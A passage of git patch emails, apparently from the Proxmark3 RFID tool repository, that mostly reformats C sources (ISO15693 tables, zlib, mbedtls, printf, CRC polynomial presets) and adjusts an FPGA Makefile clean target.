size_t size; From 911cfb9d3f35bfe0bba989cf579a81a6495a2ff1 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:19:28 +0100 Subject: [PATCH 183/418] style --- common/iso15693tools.h | 24 ++++++++++++------------ 1 file changed, 12 insertions(+), 12 deletions(-) diff --git a/common/iso15693tools.h b/common/iso15693tools.h index 62ad85499..7c5380904 100644 --- a/common/iso15693tools.h +++ b/common/iso15693tools.h @@ -106,14 +106,14 @@ static const int Iso15693FrameSOF[] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - -1, -1, -1, -1, - -1, -1, -1, -1, - 1, 1, 1, 1, - 1, 1, 1, 1 - }; + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, + -1, -1, -1, -1, + -1, -1, -1, -1, + 1, 1, 1, 1, + 1, 1, 1, 1 +}; static const int Iso15693Logic0[] = { 1, 1, 1, 1, 1, 1, 1, 1, @@ -122,10 +122,10 @@ static const int Iso15693Logic0[] = { }; static const int Iso15693Logic1[] = { -1, -1, -1, -1, - -1, -1, -1, -1, - 1, 1, 1, 1, - 1, 1, 1, 1 - }; + -1, -1, -1, -1, + 1, 1, 1, 1, + 1, 1, 1, 1 +}; // EOF defined as // 1) logic '0' (8 pulses of 423.75kHz followed by unmodulated for 18.88us) From 6293749ffd7c7f81a627f15a48ddd323cfa438f5 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:19:54 +0100 Subject: [PATCH 184/418] style --- common_arm/usb_cdc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/common_arm/usb_cdc.c b/common_arm/usb_cdc.c index dd8d2f7c4..b146715a1 100644 --- a/common_arm/usb_cdc.c +++ b/common_arm/usb_cdc.c @@ -573,7 +573,7 @@ bool usb_check() { if (isr & AT91C_UDP_ENDBUSRES) { pUdp->UDP_ICR = AT91C_UDP_ENDBUSRES; // reset all endpoints - pUdp->UDP_RSTEP = (unsigned int) -1; + pUdp->UDP_RSTEP = (unsigned int) - 1; pUdp->UDP_RSTEP = 0; // Enable the function pUdp->UDP_FADDR = AT91C_UDP_FEN; From 26fa587dbf5d5bd9e8e732578a1d951d73ec31fd Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:20:27 +0100 Subject: [PATCH 185/418] style --- common/zlib/inflate.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/common/zlib/inflate.c b/common/zlib/inflate.c index 0eb9ed787..adbe00146 100644 --- a/common/zlib/inflate.c +++ b/common/zlib/inflate.c @@ -1060,7 +1060,7 @@ int flush; last = here; for (;;) { here = state->lencode[last.val + - (BITS(last.bits + last.op) >> last.bits)]; + (BITS(last.bits + last.op) >> last.bits)]; if ((unsigned)(last.bits + here.bits) <= bits) break; PULLBYTE(); } @@ -1110,7 +1110,7 @@ int flush; last = here; for (;;) { here = state->distcode[last.val + - (BITS(last.bits + last.op) >> last.bits)]; + (BITS(last.bits + last.op) >> last.bits)]; if ((unsigned)(last.bits + here.bits) <= bits) break; PULLBYTE(); } @@ -1555,7 +1555,7 @@ unsigned long ZEXPORT inflateCodesUsed(strm) z_streamp strm; { struct inflate_state FAR *state; - if (inflateStateCheck(strm)) return (unsigned long) -1; + if (inflateStateCheck(strm)) return (unsigned long) - 1; state = (struct inflate_state FAR *)strm->state; return (unsigned long)(state->next - state->codes); } From eb1596dc9fea49c535607739aacd75bbda376ffc Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:22:03 +0100 Subject: [PATCH 186/418] style --- common/mbedtls/camellia.c | 16 ++++++++-------- common/mbedtls/x509_crt.c | 2 +- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/common/mbedtls/camellia.c b/common/mbedtls/camellia.c index bb4169ab4..c0597d8fa 100644 --- a/common/mbedtls/camellia.c +++ b/common/mbedtls/camellia.c @@ -217,16 +217,16 @@ static const signed char indexes[2][4][20] = { }, /* KL -> RK */ { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 - }, /* KR -> RK */ + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 + }, /* KR -> RK */ { 4, 5, 6, 7, 12, 13, 14, 15, 16, 17, 18, 19, -1, 24, 25, -1, 31, 28, 29, 30 }, /* KA -> RK */ { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 - } /* KB -> RK */ + -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 + } /* KB -> RK */ }, { { @@ -235,12 +235,12 @@ static const signed char indexes[2][4][20] = { }, /* KL -> RK */ { -1, -1, -1, -1, 8, 9, 10, 11, 16, 17, - 18, 19, -1, -1, -1, -1, 39, 36, 37, 38 - }, /* KR -> RK */ + 18, 19, -1, -1, -1, -1, 39, 36, 37, 38 + }, /* KR -> RK */ { -1, -1, -1, -1, 12, 13, 14, 15, 58, 59, - 56, 57, 31, 28, 29, 30, -1, -1, -1, -1 - }, /* KA -> RK */ + 56, 57, 31, 28, 29, 30, -1, -1, -1, -1 + }, /* KA -> RK */ { 4, 5, 6, 7, 65, 66, 67, 64, 20, 21, 22, 23, -1, -1, -1, -1, 43, 40, 41, 42 diff --git a/common/mbedtls/x509_crt.c b/common/mbedtls/x509_crt.c index de3e5ece8..9f8e64ed6 100644 --- a/common/mbedtls/x509_crt.c +++ b/common/mbedtls/x509_crt.c @@ -2223,7 +2223,7 @@ exit: ret = MBEDTLS_ERR_X509_FATAL_ERROR; if (ret != 0) { - *flags = (uint32_t) -1; + *flags = (uint32_t) - 1; return (ret); } From 33436ae2c2e807c85e967208f871e5323fe91ee4 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:25:50 +0100 Subject: [PATCH 187/418] rmdir soft --- fpga/Makefile | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/fpga/Makefile b/fpga/Makefile index 06cdec2ee..8ea5d89f0 100644 --- a/fpga/Makefile +++ b/fpga/Makefile @@ -1,7 +1,15 @@ +# +# FPGA Makefile +# +RMDIR = rm -rf +# rmdir only if dir is empty, tolerate failure +RMDIR_SOFT = -rmdir +# all: fpga_lf.bit fpga_hf.bit clean: $(Q)$(RM) *.bgn *.drc *.ncd *.ngd *_par.xrpt *-placed.* *-placed_pad.* *_usage.xml xst_hf.srp xst_lf.srp - $(Q)$(RM) *.map *.ngc *.xrpt *.pcf *.rbt *_auto_* *.bld *.mrp *.ngm *.unroutes *_summary.xml netlist.lst xst + $(Q)$(RM) *.map *.ngc *.xrpt *.pcf *.rbt *.bld *.mrp *.ngm *.unroutes *_summary.xml netlist.lst + $(Q)$(RMDIR) *_auto_* xst fpga_hf.ngc: fpga_hf.v fpga.ucf xst_hf.scr util.v hi_simulate.v hi_read_tx.v hi_read_rx_xcorr.v hi_iso14443a.v hi_sniffer.v hi_flite.v $(Q)$(RM) $@ From b205833df4c2172d673fd76ae8dbb81fe5535a1d Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:30:59 +0100 Subject: [PATCH 188/418] style --- tools/pm3_cs8.pl | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/pm3_cs8.pl b/tools/pm3_cs8.pl index 398e06f31..f1bfaf81d 100755 --- a/tools/pm3_cs8.pl +++ b/tools/pm3_cs8.pl @@ -63,4 +63,4 @@ sub run_rewrite my $ret = system(@run); die "Failed: $! ($ret)\ndo you have $run[0] installed?\n" if $ret; -} \ No newline at end of file +} From 7a22d334e27ab350b1f7d34065114928a575bfd8 Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:31:43 +0100 Subject: [PATCH 189/418] style --- armsrc/nprintf.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/armsrc/nprintf.c b/armsrc/nprintf.c index b61ad794d..f86406322 100644 --- a/armsrc/nprintf.c +++ b/armsrc/nprintf.c @@ -782,7 +782,7 @@ static int _vsnprintf(out_fct_type out, char *buffer, const size_t maxlen, const case 's' : { const char *p = va_arg(va, char *); - unsigned int l = _strnlen_s(p, precision ? precision : (size_t) -1); + unsigned int l = _strnlen_s(p, precision ? precision : (size_t) - 1); // pre padding if (flags & FLAGS_PRECISION) { l = (l < precision ? l : precision); @@ -849,7 +849,7 @@ int printf_(const char *format, ...) { va_list va; va_start(va, format); char buffer[1]; - const int ret = _vsnprintf(_out_char, buffer, (size_t) -1, format, va); + const int ret = _vsnprintf(_out_char, buffer, (size_t) - 1, format, va); va_end(va); return ret; } @@ -858,7 +858,7 @@ int printf_(const char *format, ...) { int sprintf_(char *buffer, const char *format, ...) { va_list va; va_start(va, format); - const int ret = _vsnprintf(_out_buffer, buffer, (size_t) -1, format, va); + const int ret = _vsnprintf(_out_buffer, buffer, (size_t) - 1, format, va); va_end(va); return ret; } @@ -875,7 +875,7 @@ int snprintf_(char *buffer, size_t count, const char *format, ...) { int vprintf_(const char *format, va_list va) { char buffer[1]; - return _vsnprintf(_out_char, buffer, (size_t) -1, format, va); + return _vsnprintf(_out_char, buffer, (size_t) - 1, format, va); } @@ -888,7 +888,7 @@ int fctprintf(void (*out)(char character, void *arg), void *arg, const char *for va_list va; va_start(va, format); const out_fct_wrap_type out_fct_wrap = { out, arg }; - const int ret = _vsnprintf(_out_fct, (char *)(uintptr_t)&out_fct_wrap, (size_t) -1, format, va); + const int ret = _vsnprintf(_out_fct, (char *)(uintptr_t)&out_fct_wrap, (size_t) - 1, format, va); va_end(va); return ret; } From aa33f8cc2f6605b7e6383c3e676f874ff1fe803f Mon Sep 17 00:00:00 2001 From: "osboxes.org" Date: Tue, 31 Dec 2019 22:32:12 +0100 Subject: [PATCH 190/418] style --- client/reveng/preset.c | 458 ++++++++++++++++++++--------------------- 1 file changed, 229 insertions(+), 229 deletions(-) diff --git a/client/reveng/preset.c b/client/reveng/preset.c index 6f41ac9f5..1897ebcee 100644 --- a/client/reveng/preset.c +++ b/client/reveng/preset.c @@ -137,19 +137,19 @@ static const bmp_t b40c[] = { # else /* BMP_BIT */ static const bmp_t b40[] = { BMP_C(0x00048200) << (BMP_BIT - 32) | BMP_C(0x04) >> (39 - BMP_BIT), - BMP_C(0x09) << (BMP_BIT * 2 - 40), + BMP_C(0x09) << (BMP_BIT * 2 - 40), }; static const bmp_t b40a[] = { BMP_C(0xffffffff) << (BMP_BIT - 32) | BMP_C(0x7f) >> (39 - BMP_BIT), - BMP_C(0xff) << (BMP_BIT * 2 - 40), + BMP_C(0xff) << (BMP_BIT * 2 - 40), }; static const bmp_t b40b[] = { BMP_C(0xd4164fc6) << (BMP_BIT - 32) | BMP_C(0x23) >> (39 - BMP_BIT), - BMP_C(0x46) << (BMP_BIT * 2 - 40), + BMP_C(0x46) << (BMP_BIT * 2 - 40), }; static const bmp_t b40c[] = { BMP_C(0xc4ff8071) << (BMP_BIT - 32) | BMP_C(0x7f) >> (39 - BMP_BIT), - BMP_C(0xff) << (BMP_BIT * 2 - 40), + BMP_C(0xff) << (BMP_BIT * 2 - 40), }; # endif /* BMP_BIT */ @@ -187,43 +187,43 @@ static const bmp_t b64i[] = { # else /* BMP_BIT */ static const bmp_t b64[] = { BMP_C(0x00000000) << (BMP_BIT - 32) | BMP_C(0x0000000d) >> (63 - BMP_BIT), - BMP_C(0x0000001b) << (BMP_BIT * 2 - 64), + BMP_C(0x0000001b) << (BMP_BIT * 2 - 64), }; static const bmp_t b64a[] = { BMP_C(0xffffffff) << (BMP_BIT - 32) | BMP_C(0x7fffffff) >> (63 - BMP_BIT), - BMP_C(0xffffffff) << (BMP_BIT * 2 - 64), + BMP_C(0xffffffff) << (BMP_BIT * 2 - 64), }; static const bmp_t b64b[] = { BMP_C(0xb90956c7) << (BMP_BIT - 32) | BMP_C(0x3ad20800) >> (63 - BMP_BIT), - BMP_C(0x75a41001) << (BMP_BIT * 2 - 64), + BMP_C(0x75a41001) << (BMP_BIT * 2 - 64), }; static const bmp_t b64c[] = { BMP_C(0x53000000) << (BMP_BIT - 32) | BMP_C(0x00000000) >> (63 - BMP_BIT), - BMP_C(0x00000000) << (BMP_BIT * 2 - 64), + BMP_C(0x00000000) << (BMP_BIT * 2 - 64), }; static const bmp_t b64d[] = { BMP_C(0x42f0e1eb) << (BMP_BIT - 32) | BMP_C(0x54f51b49) >> (63 - BMP_BIT), - BMP_C(0xa9ea3693) << (BMP_BIT * 2 - 64), + BMP_C(0xa9ea3693) << (BMP_BIT * 2 - 64), }; static const bmp_t b64e[] = { BMP_C(0x6c40df5f) << (BMP_BIT - 32) | BMP_C(0x05a4b9a3) >> (63 - BMP_BIT), - BMP_C(0x0b497347) << (BMP_BIT * 2 - 64), + BMP_C(0x0b497347) << (BMP_BIT * 2 - 64), }; static const bmp_t b64f[] = { BMP_C(0x62ec59e3) << (BMP_BIT - 32) | BMP_C(0x78d27805) >> (63 - BMP_BIT), - BMP_C(0xf1a4f00a) << (BMP_BIT * 2 - 64), + BMP_C(0xf1a4f00a) << (BMP_BIT * 2 - 64), }; static const bmp_t b64g[] = { BMP_C(0xfcacbebd) << (BMP_BIT - 32) | BMP_C(0x2c98d4c9) >> (63 - BMP_BIT), - BMP_C(0x5931a992) << (BMP_BIT * 2 - 64), + BMP_C(0x5931a992) << (BMP_BIT * 2 - 64), }; static const bmp_t b64h[] = { BMP_C(0x995dc9bb) << (BMP_BIT - 32) | BMP_C(0x6f8c9cfd) >> (63 - BMP_BIT), - BMP_C(0xdf1939fa) << (BMP_BIT * 2 - 64), + BMP_C(0xdf1939fa) << (BMP_BIT * 2 - 64), }; static const bmp_t b64i[] = { BMP_C(0x49958c9a) << (BMP_BIT - 32) | BMP_C(0x5ebe9a9f) >> (63 - BMP_BIT), - BMP_C(0xbd7d353f) << (BMP_BIT * 2 - 64), + BMP_C(0xbd7d353f) << (BMP_BIT * 2 - 64), }; # endif /* BMP_BIT */ @@ -237,22 +237,22 @@ static const bmp_t b82a[] = { # elif BMP_BIT >= 41 static const bmp_t b82[] = { BMP_C(0x01846008880) << (BMP_BIT - 41) | BMP_C(0x08a00a20208) >> (81 - BMP_BIT), - BMP_C(0x11401440411) << (BMP_BIT * 2 - 82), + BMP_C(0x11401440411) << (BMP_BIT * 2 - 82), }; static const bmp_t b82a[] = { BMP_C(0x04f541fb128) << (BMP_BIT - 41) | BMP_C(0x011c00feb09) >> (81 - BMP_BIT), - BMP_C(0x023801fd612) << (BMP_BIT * 2 - 82), + BMP_C(0x023801fd612) << (BMP_BIT * 2 - 82), }; # else /* BMP_BIT */ static const bmp_t b82[] = { BMP_C(0x0c230044) << (BMP_BIT - 32) | BMP_C(0x040) >> (40 - BMP_BIT), - BMP_C(0x40450051) << (BMP_BIT * 2 - 64) | BMP_C(0x00104) >> (80 - BMP_BIT * 2), - BMP_C(0x00411) << (BMP_BIT * 3 - 82), + BMP_C(0x40450051) << (BMP_BIT * 2 - 64) | BMP_C(0x00104) >> (80 - BMP_BIT * 2), + BMP_C(0x00411) << (BMP_BIT * 3 - 82), }; static const bmp_t b82a[] = { BMP_C(0x27aa0fd8) << (BMP_BIT - 32) | BMP_C(0x094) >> (40 - BMP_BIT), - BMP_C(0x9408e007) << (BMP_BIT * 2 - 64) | BMP_C(0x0f584) >> (80 - BMP_BIT * 2), - BMP_C(0x3d612) << (BMP_BIT * 3 - 82), + BMP_C(0x9408e007) << (BMP_BIT * 2 - 64) | BMP_C(0x0f584) >> (80 - BMP_BIT * 2), + BMP_C(0x3d612) << (BMP_BIT * 3 - 82), }; # endif /* BMP_BIT */ @@ -262,215 +262,215 @@ static const bmp_t b82a[] = { /* Array of the polynomial bitmaps used in the model table. */ static const bmp_t b32[] = { BMP_C(0x000000af) << (BMP_BIT - 32), /* 0 -- 32,000000af */ - BMP_C(0x00010000) << (BMP_BIT - 32), /* 1 -- 16, 0001 */ - BMP_C(0x00020000) << (BMP_BIT - 32), /* 2 -- 15, 0001 */ - BMP_C(0x00065b00) << (BMP_BIT - 32), /* 3 -- 24, 00065b */ - BMP_C(0x007e0000) << (BMP_BIT - 32), /* 4 -- 16, 007e */ - BMP_C(0x007f0000) << (BMP_BIT - 32), /* 5 -- 16, 007f */ - BMP_C(0x03400000) << (BMP_BIT - 32), /* 6 -- 11, 01a */ - BMP_C(0x0376e6e7) << (BMP_BIT - 32), /* 7 -- 32,0376e6e7 */ - BMP_C(0x04c11db7) << (BMP_BIT - 32), /* 8 -- 32,04c11db7 */ - BMP_C(0x05890000) << (BMP_BIT - 32), /* 9 -- 16, 0589 */ - BMP_C(0x07000000) << (BMP_BIT - 32), /* 10 -- 8, 07 */ - BMP_C(0x080b0000) << (BMP_BIT - 32), /* 11 -- 16, 080b */ - BMP_C(0x09823b6e) << (BMP_BIT - 32), /* 12 -- 31,04c11db7 */ - BMP_C(0x0b3c0000) << (BMP_BIT - 32), /* 13 -- 15, 059e */ - BMP_C(0x0c000000) << (BMP_BIT - 32), /* 14 -- 6, 03 */ - BMP_C(0x0c200000) << (BMP_BIT - 32), /* 15 -- 11, 061 */ - BMP_C(0x0c780000) << (BMP_BIT - 32), /* 16 -- 14, 031e */ - BMP_C(0x0fb30000) << (BMP_BIT - 32), /* 17 -- 16, 0fb3 */ - BMP_C(0x10210000) << (BMP_BIT - 32), /* 18 -- 16, 1021 */ - BMP_C(0x12000000) << (BMP_BIT - 32), /* 19 -- 7, 09 */ - BMP_C(0x130d2afc) << (BMP_BIT - 32), /* 20 -- 30,04c34abf */ - BMP_C(0x144e6300) << (BMP_BIT - 32), /* 21 -- 24, 144e63 */ - BMP_C(0x15000000) << (BMP_BIT - 32), /* 22 -- 8, 15 */ - BMP_C(0x1697d06a) << (BMP_BIT - 32), /* 23 -- 32,1697d06a */ - BMP_C(0x17800000) << (BMP_BIT - 32), /* 24 -- 12, 178 */ - BMP_C(0x18000000) << (BMP_BIT - 32), /* 25 -- 6, 06 */ - BMP_C(0x19d3c8d8) << (BMP_BIT - 32), /* 26 -- 31,0ce9e46c */ - BMP_C(0x1c000000) << (BMP_BIT - 32), /* 27 -- 6, 07 */ - BMP_C(0x1d000000) << (BMP_BIT - 32), /* 28 -- 8, 1d */ - BMP_C(0x1d0f0000) << (BMP_BIT - 32), /* 29 -- 16, 1d0f */ - BMP_C(0x1dcf0000) << (BMP_BIT - 32), /* 30 -- 16, 1dcf */ - BMP_C(0x1edc6f41) << (BMP_BIT - 32), /* 31 -- 32,1edc6f41 */ - BMP_C(0x1f23b800) << (BMP_BIT - 32), /* 32 -- 24, 1f23b8 */ - BMP_C(0x20000000) << (BMP_BIT - 32), /* 33 -- 4, 2 */ - BMP_C(0x200fa500) << (BMP_BIT - 32), /* 34 -- 24, 200fa5 */ - BMP_C(0x20140000) << (BMP_BIT - 32), /* 35 -- 14, 0805 */ - BMP_C(0x20b40000) << (BMP_BIT - 32), /* 36 -- 14, 082d */ - BMP_C(0x20fe0000) << (BMP_BIT - 32), /* 37 -- 16, 20fe */ - BMP_C(0x21890000) << (BMP_BIT - 32), /* 38 -- 16, 2189 */ - BMP_C(0x21cf0200) << (BMP_BIT - 32), /* 39 -- 24, 21cf02 */ - BMP_C(0x23ef5200) << (BMP_BIT - 32), /* 40 -- 24, 23ef52 */ - BMP_C(0x25000000) << (BMP_BIT - 32), /* 41 -- 8, 25 */ - BMP_C(0x26000000) << (BMP_BIT - 32), /* 42 -- 8, 26 */ - BMP_C(0x26b10000) << (BMP_BIT - 32), /* 43 -- 16, 26b1 */ - BMP_C(0x27818000) << (BMP_BIT - 32), /* 44 -- 17, 04f03 */ - BMP_C(0x27d00000) << (BMP_BIT - 32), /* 45 -- 13, 04fa */ - BMP_C(0x28000000) << (BMP_BIT - 32), /* 46 -- 5, 05 */ - BMP_C(0x29b10000) << (BMP_BIT - 32), /* 47 -- 16, 29b1 */ - BMP_C(0x2f000000) << (BMP_BIT - 32), /* 48 -- 8, 2f */ - BMP_C(0x30000000) << (BMP_BIT - 32), /* 49 -- 4, 3/ 5, 6 */ - BMP_C(0x3010bf7f) << (BMP_BIT - 32), /* 50 -- 32,3010bf7f */ - BMP_C(0x31000000) << (BMP_BIT - 32), /* 51 -- 8, 31 */ - BMP_C(0x31800000) << (BMP_BIT - 32), /* 52 -- 10, 0c6 */ - BMP_C(0x31c30000) << (BMP_BIT - 32), /* 53 -- 16, 31c3 */ - BMP_C(0x328b6300) << (BMP_BIT - 32), /* 54 -- 24, 328b63 */ - BMP_C(0x34000000) << (BMP_BIT - 32), /* 55 -- 6, 0d */ - BMP_C(0x340bc6d9) << (BMP_BIT - 32), /* 56 -- 32,340bc6d9 */ - BMP_C(0x37000000) << (BMP_BIT - 32), /* 57 -- 8, 37 */ - BMP_C(0x38000000) << (BMP_BIT - 32), /* 58 -- 5, 07 */ - BMP_C(0x39000000) << (BMP_BIT - 32), /* 59 -- 8, 39 */ - BMP_C(0x3d650000) << (BMP_BIT - 32), /* 60 -- 16, 3d65 */ - BMP_C(0x3e000000) << (BMP_BIT - 32), /* 61 -- 8, 3e */ - BMP_C(0x40000000) << (BMP_BIT - 32), /* 62 -- 3, 2 */ - BMP_C(0x42000000) << (BMP_BIT - 32), /* 63 -- 8, 42 */ - BMP_C(0x44c20000) << (BMP_BIT - 32), /* 64 -- 16, 44c2 */ - BMP_C(0x45270551) << (BMP_BIT - 32), /* 65 -- 32,45270551 */ - BMP_C(0x48000000) << (BMP_BIT - 32), /* 66 -- 5, 09 */ - BMP_C(0x49000000) << (BMP_BIT - 32), /* 67 -- 8, 49 */ - BMP_C(0x4a800000) << (BMP_BIT - 32), /* 68 -- 10, 12a */ - BMP_C(0x4acc0000) << (BMP_BIT - 32), /* 69 -- 15, 2566 */ - BMP_C(0x4b000000) << (BMP_BIT - 32), /* 70 -- 8, 4b */ - BMP_C(0x4b370000) << (BMP_BIT - 32), /* 71 -- 16, 4b37 */ - BMP_C(0x4c000000) << (BMP_BIT - 32), /* 72 -- 6, 13 */ - BMP_C(0x4c060000) << (BMP_BIT - 32), /* 73 -- 16, 4c06 */ - BMP_C(0x53000000) << (BMP_BIT - 32), /* 74 -- 8, 53 */ - BMP_C(0x55000000) << (BMP_BIT - 32), /* 75 -- 8, 55 */ - BMP_C(0x55555500) << (BMP_BIT - 32), /* 76 -- 24, 555555 */ - BMP_C(0x59350000) << (BMP_BIT - 32), /* 77 -- 16, 5935 */ - BMP_C(0x5d380000) << (BMP_BIT - 32), /* 78 -- 16, 5d38 */ - BMP_C(0x5d400000) << (BMP_BIT - 32), /* 79 -- 10, 175 */ - BMP_C(0x5d6dcb00) << (BMP_BIT - 32), /* 80 -- 24, 5d6dcb */ - BMP_C(0x60000000) << (BMP_BIT - 32), /* 81 -- 3, 3 */ - BMP_C(0x60e00000) << (BMP_BIT - 32), /* 82 -- 11, 307 */ - BMP_C(0x63d00000) << (BMP_BIT - 32), /* 83 -- 16, 63d0 */ - BMP_C(0x64000000) << (BMP_BIT - 32), /* 84 -- 6, 19 */ - BMP_C(0x66400000) << (BMP_BIT - 32), /* 85 -- 10, 199 */ - BMP_C(0x66c50000) << (BMP_BIT - 32), /* 86 -- 16, 66c5 */ - BMP_C(0x6f630000) << (BMP_BIT - 32), /* 87 -- 16, 6f63 */ - BMP_C(0x6f910000) << (BMP_BIT - 32), /* 88 -- 16, 6f91 */ - BMP_C(0x70000000) << (BMP_BIT - 32), /* 89 -- 4, 7 */ - BMP_C(0x70a00000) << (BMP_BIT - 32), /* 90 -- 11, 385 */ - BMP_C(0x755b0000) << (BMP_BIT - 32), /* 91 -- 16, 755b */ - BMP_C(0x765e7680) << (BMP_BIT - 32), /* 92 -- 32,765e7680 */ - BMP_C(0x76c20800) << (BMP_BIT - 32), /* 93 -- 32, 0ed841 */ - BMP_C(0x7979bd00) << (BMP_BIT - 32), /* 94 -- 24, 7979bd */ - BMP_C(0x7e000000) << (BMP_BIT - 32), /* 95 -- 8, 7e */ - BMP_C(0x80000000) << (BMP_BIT - 32), /* 96 -- 3, 4 */ - BMP_C(0x80006300) << (BMP_BIT - 32), /* 97 -- 24, 800063 */ - BMP_C(0x80050000) << (BMP_BIT - 32), /* 98 -- 16, 8005 */ - BMP_C(0x800d0000) << (BMP_BIT - 32), /* 99 -- 16, 800d */ - BMP_C(0x800fe300) << (BMP_BIT - 32), /* 100 -- 24, 800fe3 */ - BMP_C(0x80b40000) << (BMP_BIT - 32), /* 101 -- 14, 202d */ - BMP_C(0x80c2e71c) << (BMP_BIT - 32), /* 102 -- 30,2030b9c7 */ - BMP_C(0x80f00000) << (BMP_BIT - 32), /* 103 -- 12, 80f */ - BMP_C(0x814141ab) << (BMP_BIT - 32), /* 104 -- 32,814141ab */ - BMP_C(0x8144c800) << (BMP_BIT - 32), /* 105 -- 21, 102899 */ - BMP_C(0x864cfb00) << (BMP_BIT - 32), /* 106 -- 24, 864cfb */ - BMP_C(0x87315576) << (BMP_BIT - 32), /* 107 -- 32,87315576 */ - BMP_C(0x89ec0000) << (BMP_BIT - 32), /* 108 -- 16, 89ec */ - BMP_C(0x8a000000) << (BMP_BIT - 32), /* 109 -- 7, 45 */ - BMP_C(0x8b320000) << (BMP_BIT - 32), /* 110 -- 15, 4599 */ - BMP_C(0x8bb70000) << (BMP_BIT - 32), /* 111 -- 16, 8bb7 */ - BMP_C(0x8cc00000) << (BMP_BIT - 32), /* 112 -- 10, 233 */ - BMP_C(0x904cddbf) << (BMP_BIT - 32), /* 113 -- 32,904cddbf */ - BMP_C(0x906e0000) << (BMP_BIT - 32), /* 114 -- 16, 906e */ - BMP_C(0x94000000) << (BMP_BIT - 32), /* 115 -- 8, 94 */ - BMP_C(0x97000000) << (BMP_BIT - 32), /* 116 -- 8, 97 */ - BMP_C(0x98000000) << (BMP_BIT - 32), /* 117 -- 6, 26 */ - BMP_C(0x99000000) << (BMP_BIT - 32), /* 118 -- 8, 99 */ - BMP_C(0x9b000000) << (BMP_BIT - 32), /* 119 -- 8, 9b */ - BMP_C(0x9c000000) << (BMP_BIT - 32), /* 120 -- 6, 27 */ - BMP_C(0x9d5e4de2) << (BMP_BIT - 32), /* 121 -- 31,4eaf26f1 */ - BMP_C(0x9e000000) << (BMP_BIT - 32), /* 122 -- 7, 4f */ - BMP_C(0x9ecf0000) << (BMP_BIT - 32), /* 123 -- 16, 9ecf */ - BMP_C(0xa0660000) << (BMP_BIT - 32), /* 124 -- 16, a066 */ - BMP_C(0xa0970000) << (BMP_BIT - 32), /* 125 -- 16, a097 */ - BMP_C(0xa1000000) << (BMP_BIT - 32), /* 126 -- 8, a1 */ - BMP_C(0xa3660000) << (BMP_BIT - 32), /* 127 -- 16, a366 */ - BMP_C(0xa6000000) << (BMP_BIT - 32), /* 128 -- 7, 53 */ - BMP_C(0xa7000000) << (BMP_BIT - 32), /* 129 -- 8, a7 */ - BMP_C(0xa8000000) << (BMP_BIT - 32), /* 130 -- 5, 15 */ - BMP_C(0xa8190000) << (BMP_BIT - 32), /* 131 -- 16, a819 */ - BMP_C(0xa833982b) << (BMP_BIT - 32), /* 132 -- 32,a833982b */ - BMP_C(0xabcdef00) << (BMP_BIT - 32), /* 133 -- 24, abcdef */ - BMP_C(0xac000000) << (BMP_BIT - 32), /* 134 -- 8, ac */ - BMP_C(0xaee70000) << (BMP_BIT - 32), /* 135 -- 16, aee7 */ - BMP_C(0xb0000000) << (BMP_BIT - 32), /* 136 -- 4, b */ - BMP_C(0xb0010000) << (BMP_BIT - 32), /* 137 -- 16, b001 */ - BMP_C(0xb2aa0000) << (BMP_BIT - 32), /* 138 -- 16, b2aa */ - BMP_C(0xb3400000) << (BMP_BIT - 32), /* 139 -- 12, b34 */ - BMP_C(0xb42d8000) << (BMP_BIT - 32), /* 140 -- 17, 1685b */ - BMP_C(0xb4600000) << (BMP_BIT - 32), /* 141 -- 11, 5a3 */ - BMP_C(0xb4c80000) << (BMP_BIT - 32), /* 142 -- 16, b4c8 */ - BMP_C(0xb4f3e600) << (BMP_BIT - 32), /* 143 -- 24, b4f3e6 */ - BMP_C(0xb704ce00) << (BMP_BIT - 32), /* 144 -- 24, b704ce */ - BMP_C(0xb798b438) << (BMP_BIT - 32), /* 145 -- 32,b798b438 */ - BMP_C(0xbb3d0000) << (BMP_BIT - 32), /* 146 -- 16, bb3d */ - BMP_C(0xbc000000) << (BMP_BIT - 32), /* 147 -- 6,2f/ 8,bc */ - BMP_C(0xbd0be338) << (BMP_BIT - 32), /* 148 -- 32,bd0be338 */ - BMP_C(0xbdf40000) << (BMP_BIT - 32), /* 149 -- 16, bdf4 */ - BMP_C(0xbf050000) << (BMP_BIT - 32), /* 150 -- 16, bf05 */ - BMP_C(0xc0000000) << (BMP_BIT - 32), /* 151 -- 3, 6 */ - BMP_C(0xc2000000) << (BMP_BIT - 32), /* 152 -- 7, 61 */ - BMP_C(0xc25a5600) << (BMP_BIT - 32), /* 153 -- 24, c25a56 */ - BMP_C(0xc2b70000) << (BMP_BIT - 32), /* 154 -- 16, c2b7 */ - BMP_C(0xc2b80000) << (BMP_BIT - 32), /* 155 -- 14, 30ae */ - BMP_C(0xc4000000) << (BMP_BIT - 32), /* 156 -- 8, c4 */ - BMP_C(0xc6c60000) << 